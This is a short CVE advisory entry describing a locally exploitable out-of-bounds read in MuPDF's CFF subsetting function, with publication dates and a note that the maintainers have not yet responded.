CVE-2026-7233

Published: 2026-04-28 07:16:04
Last Modified: 2026-05-05 21:16:24

Description

A vulnerability was determined in Artifex MuPDF up to 1.28.0. The impacted element is the function fz_subset_cff_for_gids of the file subset-cff.c of the component CFF Index Handler. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through a bug report but has not responded yet.
